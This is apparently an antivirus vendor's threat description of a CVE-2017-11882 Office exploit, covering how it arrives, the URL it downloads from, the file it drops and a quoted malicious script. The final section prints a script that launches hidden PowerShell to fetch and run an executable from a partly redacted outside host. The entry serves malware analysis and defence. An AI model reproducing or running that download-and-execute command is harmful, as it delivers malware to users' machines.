TROJ_CVE201711882.C

This Exploit arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

As of this writing, the said sites are inaccessible.

Arrival Details

This Exploit arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Download Routine

This Exploit connects to the following website(s) to download and execute a malicious file:

• http://downloads.{BLOCKED}ilm.co/rtf.bin

It takes advantage of the following software vulnerabilities to download possibly malicious files:

• CVE-2017-11882 | Microsoft Office Memory Corruption Vulnerability

It saves the files it downloads using the following names:

• %User Temp%\lambdoidtegument.exe

(Note: %User Temp% is the user's temporary folder, where it usually is C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Local\Temp on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.)

As of this writing, the said sites are inaccessible.

Other Details

This Exploit does the following:

• It connects to the following URL to execute a malicious script:
  
  • https://{BLOCKED}in.com/raw/{BLOCKED}bB
• The malicious script may contain the following commands:
  a=new ActiveXObject("WScript.Shell");
  a.run('%System%\WindowsPowerShell/v1.0/powershell.exe -windowstyle hidden (new-object System.Net.WebClient).DownloadFile(\'http://downloads.{BLOCKED}ilm.co/rtf.bin \', \'%TEMP%/lambdoidtegument.exe\');
  %TEMP%/lambdoidtegument.exe', 0);
  window.close();